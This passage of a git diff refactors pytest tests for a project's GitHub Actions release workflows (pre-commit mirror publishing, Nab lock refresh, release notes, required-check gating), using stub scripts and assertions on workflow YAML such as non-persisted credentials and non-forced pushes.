+_WORKFLOW: Final[str] = "publish-pre-commit-mirror.yaml" +_VALUES: Final[dict[str, str]] = { + "github.token": "token", + "inputs.exclude-newer": "7 days", + "inputs.exclude-newer-package": "", +} -def _step(name: str) -> JsonObject: - return step(_workflow(), "mirror", name) +@pytest.fixture +def workflow() -> JsonObject: + return load_yaml(WORKFLOWS / _WORKFLOW) @pytest.fixture @@ -32,7 +23,15 @@ def prek_stub(tmp_path: Path) -> Path: bin_dir = tmp_path / "bin" bin_dir.mkdir() script = bin_dir / "uvx" - script.write_text(PREK_STUB) + script.write_text( + """\ +#!/usr/bin/env bash +count=$(cat "$RUNNER_TEMP/prek-count" 2>/dev/null || echo 0) +echo $((count + 1)) >"$RUNNER_TEMP/prek-count" +read -r -a statuses <<<"$PREK_STATUSES" +exit "${statuses[count]}" +""" + ) script.chmod(0o755) return bin_dir @@ -53,31 +52,34 @@ def test_format_step_accepts_only_a_clean_second_pass( accepted: bool, invocations: int, ) -> None: - result = workflow_step( - WORKFLOW, + result, _ = run_workflow_step( + _WORKFLOW, "mirror", "๐Ÿ’… Format generated files", - tmp_path, - { - "RUNNER_TEMP": str(tmp_path), - "PREK_STATUSES": statuses, - "PATH": f"{prek_stub}:{os.environ['PATH']}", - }, + cwd=tmp_path, + runner_temp=tmp_path, + values=_VALUES, + env={"PREK_STATUSES": statuses, "PATH": f"{prek_stub}:{os.environ['PATH']}"}, ) assert (result.returncode == 0) is accepted, result.stderr assert (tmp_path / "prek-count").read_text().strip() == str(invocations) -def _repository(tmp_path: Path) -> Path: - clone = tmp_path / "clone" - run(tmp_path, "git", "init", "-q", "-b", "main", str(clone)) - run(clone, "git", "config", "user.name", "Mirror test") - run(clone, "git", "config", "user.email", "mirror@example.org") - (clone / ".version").write_text("1.0.0\n") - (clone / "README.md").write_text('rev: "v0.0.0"\n') - run(clone, "git", "add", ".") - run(clone, "git", "commit", "-q", "-m", "Initial mirror") - return clone +def test_commit_step_commits_an_unpublished_version(tmp_path: Path) -> None: + _, clone = _remote_with_tag(tmp_path) + (clone / ".version").write_text("1.0.1\n") + result, outputs = run_workflow_step( + _WORKFLOW, + "mirror", + "๐Ÿ”„ Commit mirror changes", + cwd=clone, + runner_temp=tmp_path, + values=_VALUES, + env={}, + ) + assert result.returncode == 0, result.stderr + assert outputs == {"version": "1.0.1"} + assert run(clone, "git", "log", "-1", "--format=%s").stdout.strip() == "Mirror: 1.0.1" def _remote_with_tag(tmp_path: Path) -> tuple[Path, Path]: @@ -90,48 +92,67 @@ def _remote_with_tag(tmp_path: Path) -> tuple[Path, Path]: return remote, clone -def _commit_step(clone: Path, output: Path) -> subprocess.CompletedProcess[str]: - return workflow_step(WORKFLOW, "mirror", "๐Ÿ”„ Commit mirror changes", clone, {"GITHUB_OUTPUT": str(output)}) - - -def test_commit_step_commits_an_unpublished_version(tmp_path: Path) -> None: - _, clone = _remote_with_tag(tmp_path) - output = tmp_path / "output" - (clone / ".version").write_text("1.0.1\n") - result = _commit_step(clone, output) - assert result.returncode == 0, result.stderr - assert output.read_text() == "version=1.0.1\n" - assert run(clone, "git", "log", "-1", "--format=%s").stdout.strip() == "Mirror: 1.0.1" +def _repository(tmp_path: Path) -> Path: + clone = tmp_path / "clone" + run(tmp_path, "git", "init", "-q", "-b", "main", str(clone)) + run(clone, "git", "config", "user.name", "Mirror test") + run(clone, "git", "config", "user.email", "mirror@example.org") + (clone / ".version").write_text("1.0.0\n") + (clone / "README.md").write_text('rev: "v0.0.0"\n') + run(clone, "git", "add", ".") + run(clone, "git", "commit", "-q", "-m", "Initial mirror") + return clone def test_commit_step_skips_when_regeneration_changes_nothing(tmp_path: Path) -> None: clone = _repository(tmp_path) - output = tmp_path / "output" - result = _commit_step(clone, output) + result, outputs = run_workflow_step( + _WORKFLOW, + "mirror", + "๐Ÿ”„ Commit mirror changes", + cwd=clone, + runner_temp=tmp_path, + values=_VALUES, + env={}, + ) assert result.returncode == 0, result.stderr - assert not output.exists() + assert outputs == {} def test_commit_step_is_a_noop_when_the_published_tree_matches(tmp_path: Path) -> None: _, clone = _remote_with_tag(tmp_path) - head = run(clone, "git", "rev-parse", "HEAD").stdout.strip() (clone / "README.md").write_text("diverged\n") run(clone, "git", "commit", "-q", "-am", "Diverge") + head = run(clone, "git", "rev-parse", "HEAD").stdout.strip() (clone / "README.md").write_text('rev: "v0.0.0"\n') - output = tmp_path / "output" - result = _commit_step(clone, output) + result, outputs = run_workflow_step( + _WORKFLOW, + "mirror", + "๐Ÿ”„ Commit mirror changes", + cwd=clone, + runner_temp=tmp_path, + values=_VALUES, + env={}, + ) assert result.returncode == 0, result.stderr assert "already published with identical mirror content" in result.stdout - assert not output.exists() - assert run(clone, "git", "rev-parse", "HEAD").stdout.strip() != head - assert run(clone, "git", "rev-list", "--count", "HEAD").stdout.strip() == "2" + assert outputs == {} + assert run(clone, "git", "rev-parse", "HEAD").stdout.strip() == head def test_commit_step_fails_when_the_published_tree_differs(tmp_path: Path) -> None: _, clone = _remote_with_tag(tmp_path) head = run(clone, "git", "rev-parse", "HEAD").stdout.strip() (clone / "README.md").write_text('rev: "v9.9.9"\n') - result = _commit_step(clone, tmp_path / "output") + result, _ = run_workflow_step( + _WORKFLOW, + "mirror", + "๐Ÿ”„ Commit mirror changes", + cwd=clone, + runner_temp=tmp_path, + values=_VALUES, + env={}, + ) assert result.returncode != 0 assert "published with a different mirror tree" in result.stderr assert run(clone, "git", "rev-parse", "HEAD").stdout.strip() == head @@ -141,48 +162,75 @@ def test_push_step_publishes_branch_and_tag_together(tmp_path: Path) -> None: remote, clone = _remote_with_tag(tmp_path) (clone / ".version").write_text("1.0.1\n") run(clone, "git", "commit", "-q", "-am", "Mirror: 1.0.1") - result = workflow_step(WORKFLOW, "mirror", "๐Ÿš€ Push mirror commit and tag", clone, {"VERSION": "1.0.1"}) + result, _ = run_workflow_step( + _WORKFLOW, + "mirror", + "๐Ÿš€ Push mirror commit and tag", + cwd=clone, + runner_temp=tmp_path, + values=_VALUES, + env={"VERSION": "1.0.1"}, + ) assert result.returncode == 0, result.stderr head = run(clone, "git", "rev-parse", "HEAD").stdout.strip() assert run(tmp_path, "git", "--git-dir", str(remote), "rev-parse", "main").stdout.strip() == head assert run(tmp_path, "git", "--git-dir", str(remote), "rev-parse", "v1.0.1^{commit}").stdout.strip() == head -def test_push_is_atomic_and_never_forces() -> None: - push = text(_step("๐Ÿš€ Push mirror commit and tag")["run"]) +def test_push_is_atomic_and_never_forces(workflow: JsonObject) -> None: + push = text(step(workflow, "mirror", "๐Ÿš€ Push mirror commit and tag")["run"]) assert "--atomic" in push assert "--force" not in push assert " -f " not in push -def test_checkout_uses_default_credentials_without_token_in_remote() -> None: - checkout = _step("๐Ÿ“ฅ Check out repository") - assert checkout["with"] == {"persist-credentials": "true"} - workflow_text = (ROOT / ".github/workflows" / WORKFLOW).read_text() +def test_checkout_does_not_persist_credentials(workflow: JsonObject) -> None: + checkout = step(workflow, "mirror", "๐Ÿ“ฅ Check out repository") + assert checkout["with"] == {"persist-credentials": "false"} + workflow_text = (WORKFLOWS / _WORKFLOW).read_text() assert "set-url" not in workflow_text assert "x-access-token" not in workflow_text -def test_runs_pin_tools_and_never_interpolate_outputs() -> None: - workflow_text = (ROOT / ".github/workflows" / WORKFLOW).read_text() +def test_tools_are_pinned() -> None: + workflow_text = (WORKFLOWS / _WORKFLOW).read_text() assert "pre-commit-mirror-maker==1.14.0" in workflow_text assert "prek==0.5.5" in workflow_text assert 'version: "0.13.7"' in workflow_text - workflow = _workflow() - for job in mapping(at(workflow, "jobs")): - for item in steps(workflow, job): - script = text(item.get("run", "")) - assert "${{" not in script, item.get("name") - assert "|| true" not in script, item.get("name") -def test_concurrency_queues_mirror_runs() -> None: - assert _workflow()["concurrency"] == { +@pytest.mark.parametrize( + "forbidden", + [ + pytest.param("${{", id="expressions"), + pytest.param("|| true", id="masked-failures"), + ], +) +def test_run_blocks_avoid_forbidden_constructs(workflow: JsonObject, forbidden: str) -> None: + offenders = [ + item.get("name") + for job in mapping(at(workflow, "jobs")) + for item in steps(workflow, job) + if forbidden in text(item.get("run", "")) + ] + assert offenders == [] + + +def test_concurrency_queues_mirror_runs(workflow: JsonObject) -> None: + assert workflow["concurrency"] == { "group": "pre-commit-mirror-${{ github.repository }}", "cancel-in-progress": "false", } -def test_release_steps_run_only_on_main_pushes() -> None: - for name in ("๐Ÿš€ Push mirror commit and tag", "๐ŸŽ‰ Create GitHub release"): - assert _step(name)["if"] == "${{ github.ref == 'refs/heads/main' && steps.commit.outputs.version != '' }}" +@pytest.mark.parametrize( + "name", + [ + pytest.param("๐Ÿš€ Push mirror commit and tag", id="push"), + pytest.param("๐ŸŽ‰ Create GitHub release", id="release"), + ], +) +def test_release_steps_run_only_on_main_pushes(workflow: JsonObject, name: str) -> None: + assert step(workflow, "mirror", name)["if"] == ( + "${{ github.ref == 'refs/heads/main' && steps.commit.outputs.version != '' }}" + ) diff --git a/tests/refresh_release_lock/test_check_nab_exceptions.py b/tests/refresh_release_lock/test_check_nab_exceptions.py index c4f886a..dcde075 100644 --- a/tests/refresh_release_lock/test_check_nab_exceptions.py +++ b/tests/refresh_release_lock/test_check_nab_exceptions.py @@ -1,18 +1,13 @@ -from __future__ import annotations - import subprocess import sys from pathlib import Path +from typing import Final import pytest -_SCRIPT = Path(__file__).resolve().parents[2] / "tools/check_nab_exceptions.py" -_FUTURE = "2999-01-01" -_PAST = "2000-01-01" - - -def _check(path: Path) -> subprocess.CompletedProcess[str]: - return subprocess.run([sys.executable, str(_SCRIPT), str(path)], text=True, capture_output=True, check=False) +_SCRIPT: Final = Path(__file__).resolve().parents[2] / "tools/check_nab_exceptions.py" +_FUTURE: Final = "2999-01-01" +_PAST: Final = "2000-01-01" @pytest.mark.parametrize( @@ -51,7 +46,7 @@ def test_nab_exception_expiry_accepts_dated_exception(tmp_path: Path, filename: path = tmp_path / filename path.write_text(content) - result = _check(path) + result = subprocess.run([sys.executable, str(_SCRIPT), str(path)], text=True, capture_output=True, check=False) assert (result.returncode, result.stderr) == (0, "") @@ -97,7 +92,7 @@ def test_nab_exception_expiry_rejects_undated_or_expired_exception(tmp_path: Pat path = tmp_path / "pyproject.toml" path.write_text(content) - result = _check(path) + result = subprocess.run([sys.executable, str(_SCRIPT), str(path)], text=True, capture_output=True, check=False) assert (result.returncode, result.stderr) == (1, f"::error::{path}: {problem}\n") @@ -109,7 +104,7 @@ def test_nab_exception_expiry_reports_each_failing_package(tmp_path: Path) -> No f"# expires {_PAST}\n[tool.nab.packages.vcrpy]\nuploaded-prior-to = 2026-10-25\n" ) - result = _check(path) + result = subprocess.run([sys.executable, str(_SCRIPT), str(path)], text=True, capture_output=True, check=False) assert (result.returncode, result.stderr) == ( 1, @@ -122,20 +117,26 @@ def test_nab_exception_expiry_reports_each_failing_package(tmp_path: Path) -> No def test_nab_exception_expiry_rejects_missing_file(tmp_path: Path) -> None: - result = _check(tmp_path / "pyproject.toml") + path = tmp_path / "pyproject.toml" - assert result.returncode == 1 - assert "No such file or directory" in result.stderr + result = subprocess.run([sys.executable, str(_SCRIPT), str(path)], text=True, capture_output=True, check=False) + + assert (result.returncode, result.stderr) == ( + 1, + f"::error::[Errno 2] No such file or directory: '{path}'\n", + ) def test_nab_exception_expiry_rejects_invalid_toml(tmp_path: Path) -> None: path = tmp_path / "pyproject.toml" path.write_text("[tool.nab\n") - result = _check(path) + result = subprocess.run([sys.executable, str(_SCRIPT), str(path)], text=True, capture_output=True, check=False) - assert result.returncode == 1 - assert result.stderr.startswith("::error::") + assert (result.returncode, result.stderr) == ( + 1, + "::error::Expected ']' at the end of a table declaration (at line 1, column 10)\n", + ) def test_nab_exception_expiry_import_has_no_cli_side_effect() -> None: diff --git a/tests/refresh_release_lock/test_refresh.py b/tests/refresh_release_lock/test_refresh.py index c719400..a82aca2 100644 --- a/tests/refresh_release_lock/test_refresh.py +++ b/tests/refresh_release_lock/test_refresh.py @@ -1,19 +1,13 @@ -from __future__ import annotations - import json import os import subprocess import sys from pathlib import Path -from typing import Any, Final +from typing import Final import pytest -import yaml -from conftest import action, run +from conftest import JsonObject, action, at, load_yaml, mapping, run -_STEPS: Final = yaml.safe_load((Path(__file__).resolve().parents[2] / "refresh-release-lock/action.yml").read_text())[ - "runs" -]["steps"] _LOCK: Final = ( 'lock-version = "1.0"\ncreated-by = "nab"\nrequires-python = ">=3.15"\npackages = []\n' 'environments = ["python_version == \\"3.15\\""]\n[tool.nab]\ncreated-at = 2026-10-01T00:00:00Z\n' @@ -47,6 +41,16 @@ def lock_project(tmp_path: Path) -> Path: return project +@pytest.fixture +def fake_installer(tmp_path: Path) -> Path: + installer = tmp_path / "tools/install_live_tools.sh" + installer.parent.mkdir() + installer.write_text('#!/bin/sh\nprintf "%s\\n" "$@" >"$RUNNER_TEMP/installed"\n') + installer.chmod(0o755) + (tmp_path / "action").mkdir() + return installer + + @pytest.mark.parametrize(("mode", "upgrade"), [("check", []), ("refresh", ["--upgrade"])]) def test_refresh_locks_every_group_and_extra_with_nab( tmp_path: Path, action_scripts: Path, fake_uv: Path, mode: str, upgrade: list[str] @@ -71,6 +75,32 @@ def test_refresh_locks_every_group_and_extra_with_nab( ] +def _run_step( + action_scripts: Path, name: str, root: Path, fake_uv: Path, **environment: str +) -> subprocess.CompletedProcess[str]: + steps = at(load_yaml(Path(__file__).resolve().parents[2] / "refresh-release-lock/action.yml"), "runs", "steps") + assert isinstance(steps, list) + index = next(index for index, step in enumerate(steps) if mapping(step).get("name") == name) + return subprocess.run( + ["bash", "-e", "-o", "pipefail", str(action_scripts / f"refresh-release-lock-{index}.sh")], + cwd=root, + env=os.environ + | { + "PATH": f"{fake_uv.parent}{os.pathsep}{os.environ['PATH']}", + "RUNNER_TEMP": str(root), + "GITHUB_ACTION_PATH": str(Path(__file__).resolve().parents[2] / "refresh-release-lock"), + } + | environment, + text=True, + capture_output=True, + check=False, + ) + + +def _uv_call(root: Path) -> JsonObject: + return mapping(json.loads((root / "uv-call.json").read_text())) + + @pytest.mark.parametrize("step", ["๐Ÿ”’ Resolve all project groups and extras", "๐Ÿ”’ Resolve optional Nab matrix"]) def test_refresh_hides_certificate_overrides_from_nab( tmp_path: Path, action_scripts: Path, fake_uv: Path, step: str @@ -95,7 +125,7 @@ def test_refresh_hides_certificate_overrides_from_nab( ) assert result.returncode == 0, result.stderr - assert not {"SSL_CERT_FILE", "SSL_CERT_DIR"} & _uv_call(tmp_path)["env"].keys() + assert not {"SSL_CERT_FILE", "SSL_CERT_DIR"} & mapping(at(_uv_call(tmp_path), "env")).keys() def test_refresh_check_accepts_current_lock( @@ -109,6 +139,20 @@ def test_refresh_check_accepts_current_lock( assert run(lock_project, "git", "status", "--porcelain").stdout == "" +def _commit_lock(project: Path, nab: Path) -> None: + result = subprocess.run( + [str(nab), "lock", "--all-groups", "--all-extras", "--no-cache"], + cwd=project, + env={name: value for name, value in os.environ.items() if not name.startswith("SSL_CERT")}, + text=True, + capture_output=True, + check=False, + ) + assert result.returncode == 0, result.stderr + run(project, "git", "add", ".") + run(project, "git", "commit", "-m", "Lock the project") + + def test_refresh_check_rejects_stale_lock( lock_project: Path, nab_executable: Path, tmp_path: Path, action_scripts: Path ) -> None: @@ -158,44 +202,6 @@ def test_refresh_writes_patch_for_stale_lock( assert "diff --git a/pyproject.toml" not in patch -def _commit_lock(project: Path, nab: Path) -> None: - result = subprocess.run( - [str(nab), "lock", "--all-groups", "--all-extras", "--no-cache"], - cwd=project, - env={name: value for name, value in os.environ.items() if not name.startswith("SSL_CERT")}, - text=True, - capture_output=True, - check=False, - ) - assert result.returncode == 0, result.stderr - run(project, "git", "add", ".") - run(project, "git", "commit", "-m", "Lock the project") - - -def _run_step( - action_scripts: Path, name: str, root: Path, fake_uv: Path, **environment: str -) -> subprocess.CompletedProcess[str]: - index = next(index for index, step in enumerate(_STEPS) if step.get("name") == name) - return subprocess.run( - ["bash", "-e", "-o", "pipefail", str(action_scripts / f"refresh-release-lock-{index}.sh")], - cwd=root, - env=os.environ - | { - "PATH": f"{fake_uv.parent}{os.pathsep}{os.environ['PATH']}", - "RUNNER_TEMP": str(root), - "GITHUB_ACTION_PATH": str(Path(__file__).resolve().parents[2] / "refresh-release-lock"), - } - | environment, - text=True, - capture_output=True, - check=False, - ) - - -def _uv_call(root: Path) -> dict[str, Any]: - return json.loads((root / "uv-call.json").read_text()) - - def test_refresh_installs_nab_under_cutoff(lock_project: Path, tmp_path: Path, action_scripts: Path) -> None: run(lock_project, "git", "add", ".") run(lock_project, "git", "commit", "-m", "Add the project") @@ -214,19 +220,6 @@ def test_refresh_installs_nab_under_cutoff(lock_project: Path, tmp_path: Path, a assert "nab>=0.0.22" in result.stderr -_VERSIONED_LOCK: Final = f'{_LOCK}nab-version = "0.0.21"\n' - - -@pytest.fixture -def fake_installer(tmp_path: Path) -> Path: - installer = tmp_path / "tools/install_live_tools.sh" - installer.parent.mkdir() - installer.write_text('#!/bin/sh\nprintf "%s\\n" "$@" >"$RUNNER_TEMP/installed"\n') - installer.chmod(0o755) - (tmp_path / "action").mkdir() - return installer - - @pytest.mark.parametrize( ("mode", "requirements"), [ @@ -238,7 +231,7 @@ def fake_installer(tmp_path: Path) -> Path: def test_refresh_installs_selected_nab( tmp_path: Path, action_scripts: Path, mode: str, requirements: list[str] ) -> None: - (tmp_path / "pylock.toml").write_text(_VERSIONED_LOCK) + (tmp_path / "pylock.toml").write_text(f'{_LOCK}nab-version = "0.0.21"\n') result = _run_step( action_scripts, @@ -253,11 +246,9 @@ def test_refresh_installs_selected_nab( assert (tmp_path / "installed").read_text().splitlines() == [f"{tmp_path}/lock-tools", *requirements] -@pytest.mark.parametrize("lock", [None, _LOCK], ids=["no-lock", "no-nab-version"]) @pytest.mark.usefixtures("fake_installer") -def test_refresh_check_requires_locked_nab_version(tmp_path: Path, action_scripts: Path, lock: str | None) -> None: - if lock is not None: - (tmp_path / "pylock.toml").write_text(lock) +def test_refresh_check_requires_nab_version_in_lock(tmp_path: Path, action_scripts: Path) -> None: + (tmp_path / "pylock.toml").write_text(_LOCK) result = _run_step( action_scripts, @@ -271,3 +262,19 @@ def test_refresh_check_requires_locked_nab_version(tmp_path: Path, action_script assert result.returncode != 0 assert "::error::check mode needs the Nab version in pylock.toml [tool.nab] nab-version" in result.stderr assert not (tmp_path / "installed").exists() + + +@pytest.mark.usefixtures("fake_installer") +def test_refresh_check_requires_lock_file(tmp_path: Path, action_scripts: Path) -> None: + result = _run_step( + action_scripts, + "๐Ÿ“ฆ Install Nab", + tmp_path, + tmp_path / "bin/uv", + GITHUB_ACTION_PATH=str(tmp_path / "action"), + MODE="check", + ) + + assert result.returncode != 0 + assert "::error::check mode needs the Nab version in pylock.toml [tool.nab] nab-version" in result.stderr + assert not (tmp_path / "installed").exists() diff --git a/tests/release_workflow/test_github_release_workflow.py b/tests/release_workflow/test_github_release_workflow.py index bfb623e..7becbf5 100644 --- a/tests/release_workflow/test_github_release_workflow.py +++ b/tests/release_workflow/test_github_release_workflow.py @@ -1,49 +1,44 @@ -from __future__ import annotations +import pytest +from conftest import WORKFLOWS, JsonObject, at, load_yaml, step, steps -from pathlib import Path -from typing import Any -import yaml +@pytest.fixture(scope="module") +def workflow() -> JsonObject: + return load_yaml(WORKFLOWS / "github-release.yaml") -ROOT = Path(__file__).resolve().parents[2] +def test_github_release_publishes_from_a_release_environment_only(workflow: JsonObject) -> None: + assert at(workflow, "jobs", "github-release", "environment") == "release" + assert at(workflow, "jobs", "github-release", "permissions") == {"contents": "write"} + assert at(workflow, "permissions") == {} -def _workflow(name: str) -> dict[str, Any]: - return yaml.load((ROOT / ".github/workflows" / name).read_text(), Loader=yaml.BaseLoader) +def test_github_release_verifies_pypi_before_publishing(workflow: JsonObject) -> None: + names = [item["name"] for item in steps(workflow, "github-release")] -def _steps(job: dict[str, Any]) -> dict[str, dict[str, Any]]: - return {step["name"]: step for step in job["steps"]} - - -def test_github_release_publishes_from_a_release_environment_only() -> None: - workflow = _workflow("github-release.yaml") - job = workflow["jobs"]["github-release"] - - assert job["environment"] == "release" - assert job["permissions"] == {"contents": "write"} - assert workflow["permissions"] == {} - - -def test_github_release_verifies_pypi_before_publishing() -> None: - steps = _steps(_workflow("github-release.yaml")["jobs"]["github-release"]) - - assert list(steps) == [ + assert names == [ "๐Ÿ Install uv and Python", "๐Ÿ“ฉ Download distributions", "๐Ÿ“ฉ Download release notes", "๐Ÿ” Verify PyPI artifacts", "๐Ÿš€ Publish GitHub release", ] - assert steps["๐Ÿ” Verify PyPI artifacts"]["with"] == { + + +def test_github_release_verifies_the_requested_version(workflow: JsonObject) -> None: + verify = step(workflow, "github-release", "๐Ÿ” Verify PyPI artifacts") + + assert verify["with"] == { "project": "${{ inputs.project }}", "version": "${{ inputs.version }}", "dist": "dist", + "exclude-newer": "${{ inputs.exclude-newer }}", + "exclude-newer-package": "${{ inputs.exclude-newer-package }}", } -def test_github_release_title_prefixes_the_tag() -> None: - publish = _steps(_workflow("github-release.yaml")["jobs"]["github-release"])["๐Ÿš€ Publish GitHub release"] +def test_github_release_title_prefixes_the_tag(workflow: JsonObject) -> None: + publish = step(workflow, "github-release", "๐Ÿš€ Publish GitHub release") assert publish["with"] == { "tag": "${{ inputs.tag }}", diff --git a/tests/release_workflow/test_release_notes_workflow.py b/tests/release_workflow/test_release_notes_workflow.py index f372836..513300c 100644 --- a/tests/release_workflow/test_release_notes_workflow.py +++ b/tests/release_workflow/test_release_notes_workflow.py @@ -1,42 +1,46 @@ -from __future__ import annotations - from pathlib import Path -from typing import Any +from typing import Final import pytest -import yaml - -ROOT = Path(__file__).resolve().parents[2] +from conftest import WORKFLOWS, JsonObject, at, load_yaml, mapping, step, steps, text +ROOT: Final = Path(__file__).resolve().parents[2] -def _workflow(name: str) -> dict[str, Any]: - return yaml.load((ROOT / ".github/workflows" / name).read_text(), Loader=yaml.BaseLoader) +@pytest.fixture(scope="module") +def workflow() -> JsonObject: + return load_yaml(WORKFLOWS / "release-notes.yaml") -def _steps(job: dict[str, Any]) -> dict[str, dict[str, Any]]: - return {step["name"]: step for step in job["steps"]} +def test_release_notes_declares_its_inputs(workflow: JsonObject) -> None: + inputs = mapping(at(workflow, "on", "workflow_call", "inputs")) -def test_release_notes_exposes_inputs_and_artifact_id() -> None: - workflow = _workflow("release-notes.yaml") - call = workflow["on"]["workflow_call"] - - assert {name: definition.get("required") for name, definition in call["inputs"].items()} == { + assert {name: mapping(definition).get("required") for name, definition in inputs.items()} == { "tag": "true", "changelog": None, "artifact-url": None, "artifact-label": None, "package": None, + "exclude-newer": None, + "exclude-newer-package": None, } - assert call["outputs"]["artifact-id"]["value"] == "${{ jobs.notes.outputs.artifact-id }}" - assert workflow["permissions"] == {} - assert workflow["jobs"]["notes"]["permissions"] == {"contents": "read"} -def test_release_notes_render_without_a_separate_previous_tag_step() -> None: - steps = _steps(_workflow("release-notes.yaml")["jobs"]["notes"]) +def test_release_notes_exposes_artifact_id(workflow: JsonObject) -> None: + assert at(workflow, "on", "workflow_call", "outputs", "artifact-id", "value") == ( + "${{ jobs.notes.outputs.artifact-id }}" + ) + - assert list(steps) == [ +def test_release_notes_job_reads_contents_only(workflow: JsonObject) -> None: + assert at(workflow, "permissions") == {} + assert at(workflow, "jobs", "notes", "permissions") == {"contents": "read"} + + +def test_release_notes_render_without_a_separate_previous_tag_step(workflow: JsonObject) -> None: + names = [item["name"] for item in steps(workflow, "notes")] + + assert names == [ "๐Ÿ“ฅ Check out repository", "๐Ÿ Install uv and Python", "โš™๏ธ Read Towncrier configuration", @@ -44,13 +48,11 @@ def test_release_notes_render_without_a_separate_previous_tag_step() -> None: "๐Ÿ“ Render release notes", "๐Ÿ“ค Upload release notes", ] - assert all("select-previous-tag" not in step.get("uses", "") for step in steps.values()) - + assert all("select-previous-tag" not in text(item.get("uses", "")) for item in steps(workflow, "notes")) -def test_release_notes_default_changelog_comes_from_towncrier_config() -> None: - steps = _steps(_workflow("release-notes.yaml")["jobs"]["notes"]) - assert steps["๐Ÿ“ Render release notes"]["with"] == { +def test_release_notes_default_changelog_comes_from_towncrier_config(workflow: JsonObject) -> None: + assert step(workflow, "notes", "๐Ÿ“ Render release notes")["with"] == { "tag": "${{ inputs.tag }}", "changelog": "${{ inputs.changelog || steps.towncrier.outputs.changelog }}", "artifact-url": "${{ inputs.artifact-url }}", @@ -59,14 +61,14 @@ def test_release_notes_default_changelog_comes_from_towncrier_config() -> None: } -def test_release_notes_uploads_artifact_per_run_attempt() -> None: - upload = _steps(_workflow("release-notes.yaml")["jobs"]["notes"])["๐Ÿ“ค Upload release notes"] +def test_release_notes_uploads_artifact_per_run_attempt(workflow: JsonObject) -> None: + upload = step(workflow, "notes", "๐Ÿ“ค Upload release notes") - assert upload["with"]["name"] == "github-release-notes-${{ github.run_attempt }}" - assert upload["with"]["if-no-files-found"] == "error" + assert at(upload, "with", "name") == "github-release-notes-${{ github.run_attempt }}" + assert at(upload, "with", "if-no-files-found") == "error" -@pytest.mark.parametrize("path", sorted((ROOT / ".github/workflows").glob("*.y*ml")), ids=lambda path: path.name) +@pytest.mark.parametrize("path", sorted(WORKFLOWS.glob("*.y*ml")), ids=lambda path: path.name) def test_local_action_references_resolve(path: Path) -> None: references = [line.split("uses: $/", 1)[1].strip() for line in path.read_text().splitlines() if "uses: $/" in line] diff --git a/tests/render_release_notes/test_notes.py b/tests/render_release_notes/test_notes.py index 71770ed..de8f9ef 100644 --- a/tests/render_release_notes/test_notes.py +++ b/tests/render_release_notes/test_notes.py @@ -1,5 +1,3 @@ -from __future__ import annotations - from pathlib import Path from textwrap import dedent @@ -61,6 +59,20 @@ def test_render_release_notes_uses_tagged_changelog( [๐Ÿ“œ Full Changelog](https://github.com/tox-dev/fixture/compare/0.1.0...0.2.0) """, ) + + +def test_render_release_notes_reports_previous_tag( + tagged_repository: Path, tmp_path: Path, action_scripts: Path +) -> None: + result = action( + tagged_repository, + tmp_path, + action_scripts, + "render-release-notes", + version="0.2.0", + TAG="0.2.0", + ) + assert result.returncode == 0, result.stderr assert "previous=0.1.0" in (tmp_path / "output").read_text() diff --git a/tests/required_checks/test_gate.py b/tests/required_checks/test_gate.py index c6d4db5..b5219bf 100644 --- a/tests/required_checks/test_gate.py +++ b/tests/required_checks/test_gate.py @@ -1,17 +1,8 @@ -from __future__ import annotations - import json from pathlib import Path import pytest -import yaml -from conftest import action - -ROOT = Path(__file__).resolve().parents[2] - - -def _needs(results: dict[str, str]) -> str: - return json.dumps({name: {"result": result} for name, result in results.items()}) +from conftest import WORKFLOWS, action, at, load_yaml, mapping, steps @pytest.mark.parametrize( @@ -72,17 +63,22 @@ def test_gate_rejects_allowed_job_missing_from_needs(tmp_path: Path, action_scri def test_gate_is_used_by_ci_and_needs_its_jobs() -> None: - workflow = yaml.safe_load((ROOT / ".github/workflows/ci.yaml").read_text()) - gate = workflow["jobs"]["gate"] - assert gate["needs"] == ["check", "shell", "test", "type"] - assert gate["if"] == "${{ !cancelled() }}" - assert gate["steps"][-1]["uses"] == "$/required-checks" - assert gate["steps"][-1]["with"] == {"needs": "${{ toJSON(needs) }}"} + ci = load_yaml(WORKFLOWS / "ci.yaml") + gate = steps(ci, "gate")[-1] + + assert at(ci, "jobs", "gate", "needs") == ["check", "shell", "test", "type"] + assert at(ci, "jobs", "gate", "if") == "${{ !cancelled() }}" + assert gate["uses"] == "$/required-checks" + assert gate["with"] == {"needs": "${{ toJSON(needs) }}"} def test_ci_does_not_repeat_changelog_lock_check() -> None: - ci = yaml.safe_load((ROOT / ".github/workflows/ci.yaml").read_text()) - news = yaml.safe_load((ROOT / ".github/workflows/news.yaml").read_text()) + assert "release-tools-preview" not in mapping(load_yaml(WORKFLOWS / "ci.yaml")["jobs"]) + + +def test_news_validates_the_changelog_with_validate_news() -> None: + assert steps(load_yaml(WORKFLOWS / "news.yaml"), "changelog")[-1]["uses"] == "$/validate-news" - assert "release-tools-preview" not in ci["jobs"] - assert news["jobs"]["changelog"]["steps"][-1]["uses"] == "$/validate-news" + +def _needs(results: dict[str, str]) -> str: + return json.dumps({name: {"result": result} for name, result in results.items()}) diff --git a/tests/stage_jetbrains_marketplace/test_stage.py b/tests/stage_jetbrains_marketplace/test_stage.py index 798b652..6b83964 100644 --- a/tests/stage_jetbrains_marketplace/test_stage.py +++ b/tests/stage_jetbrains_marketplace/test_stage.py @@ -1,14 +1,18 @@ -from __future__ import annotations - import hashlib import os from pathlib import Path -from typing import Final import pytest from conftest import action -STUB: Final[str] = """\ + +@pytest.fixture +def release_creator(tmp_path: Path) -> Path: + bin_dir = tmp_path / "bin" + bin_dir.mkdir() + script = bin_dir / "release-creator" + script.write_text( + """\ #!/usr/bin/env bash printf '%s\\n' "$@" >"$RUNNER_TEMP/release-creator.args" while (($#)); do @@ -16,14 +20,7 @@ shift done """ - - -@pytest.fixture -def release_creator(tmp_path: Path) -> Path: - bin_dir = tmp_path / "bin" - bin_dir.mkdir() - script = bin_dir / "release-creator" - script.write_text(STUB) + ) script.chmod(0o755) return bin_dir @@ -36,11 +33,11 @@ def signed_archive(tmp_path: Path) -> tuple[Path, str]: @pytest.mark.parametrize( - ("version", "mode", "channel", "publish", "github_output"), + ("version", "mode", "expected", "github_output"), [ - pytest.param("v1.2.3", "stage", "", "true", True, id="stable-stage"), - pytest.param("v1.2.3-beta.1", "stage", "beta", "true", True, id="beta-stage"), - pytest.param("v1.2.3-beta.1", "verify", "beta", "", False, id="beta-verify"), + pytest.param("v1.2.3", "stage", {"channel": "", "publish": "true"}, True, id="stable-stage"), + pytest.param("v1.2.3-beta.1", "stage", {"channel": "beta", "publish": "true"}, 